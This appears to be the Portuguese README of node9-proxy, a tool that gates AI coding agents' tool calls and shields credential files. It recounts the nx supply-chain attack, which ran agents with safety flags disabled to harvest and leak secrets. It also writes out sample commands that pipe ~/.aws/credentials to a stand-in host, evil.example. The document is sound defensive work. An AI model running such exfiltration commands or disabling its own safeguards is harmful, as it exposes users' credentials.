
node9-proxy v1.63.0
A Camada de Segurança de Execução para a Era dos Agentes. Fornecendo governança determinística "Sudo" e logs de auditoria para agentes de IA autônomos.
🛡️ node9
IAM para seus agentes de IA
Seus agentes de IA podem acessar Slack, GitHub, e-mail e seu banco de dados.
O node9 decide o que eles podem fazer com cada um.
Credential jail · secrets e PII · git, SQL e shell destrutivos retidos para revisão · Fixação de ferramentas MCP · allowlist de egress de rede · quebra de loop · um registro único entre doze agentes
Funciona com Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · qualquer servidor MCP.
Como se parece
Seu agente à esquerda, o node9 à direita. Cada chamada de ferramenta que o agente faz é
verificada antes de ser executada: permitida e registrada, retida para sua aprovação, ou bloqueada.
O agente aqui foi iniciado com --dangerously-skip-permissions, e o node9 ainda
decide.
node9 monitor: live tool calls, decisions, shields and score
Instalação
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
Então, em qualquer projeto:
node9 init # finds your agents and MCP servers and puts node9 in front of every tool call
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
Requer Node.js 22+.
init é o produto inteiro. Ele escreve os hooks, ativa o credential jail
e as regras sempre ativas, e começa a aplicar imediatamente. Nada sai da
máquina e nenhuma conta é necessária.
login não adiciona nada à aplicação. Ele conecta a máquina a um workspace para
que uma equipe possa ver um registro único entre os laptops de todos e o CI, definir políticas centralmente,
e aprovar ações retidas a partir de um dashboard ou do Slack. Pule isso e o node9 funciona exatamente
da mesma forma, sozinho, offline. node9 logout desconecta novamente e a aplicação local
continua funcionando.
O problema
Em agosto de 2025, releases comprometidas da
ferramenta de build nx distribuíram um script
pós-instalação que procurava agentes de codificação de IA já instalados na máquina do desenvolvedor, então os executava
com suas próprias flags de segurança desativadas (--dangerously-skip-permissions, --yolo,
--trust-all-tools) para enumerar chaves SSH, credenciais de nuvem e arquivos de carteira e escrever a lista
em disco. O script enviava os resultados para repositórios públicos dentro das próprias contas do GitHub
das vítimas. Mais de mil tokens válidos do GitHub vazaram, junto com credenciais de nuvem, tokens
npm e aproximadamente 20.000 arquivos, de máquinas onde o agente estava fazendo exatamente o que lhe foi
ordenado.
O agente não era o atacante. O agente era a ferramenta, e nada ficava entre ele e os arquivos. O gate do node9 não é uma dessas flags: ele roda no hook, e uma ação que ele retém permanece retida mesmo quando o agente foi iniciado com permissões ignoradas.
O que o node9 faz a respeito
O node9 fica entre o agente e cada ferramenta que ele chama. O credential jail (~/.ssh, ~/.aws,
arquivos .env, chaves privadas) está ativo por padrão, e uma leitura de um desses caminhos não é executada.
O agente é interrompido, informado do motivo, e a decisão chega até você:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
O comando é analisado como uma AST de shell, não correspondido como texto, então envolver a leitura não ajuda.
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example é julgado como uma leitura
de ~/.aws/credentials, não como um echo.
O node9 é um gate. Uma ação retida não é executada enquanto espera por você, e se você nunca responder ela permanece bloqueada. Todo o resto é permitido e gravado no registro.
O que ele não faz: com o controle de egress desativado, que é o padrão, um comando que entrega um
arquivo diretamente à rede, como curl -d @~/.aws/credentials, não é tratado como uma leitura desse
arquivo. node9 egress protect também controla destinos, e cobre apenas comandos de shell.
Verifique você mesmo
Nada abaixo precisa de uma conta, e nada é enviado.
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
node9 scan scorecard
O que ele governa
Cada linha é uma capacidade, com a página que a documenta. A documentação é a referência; este arquivo é o mapa.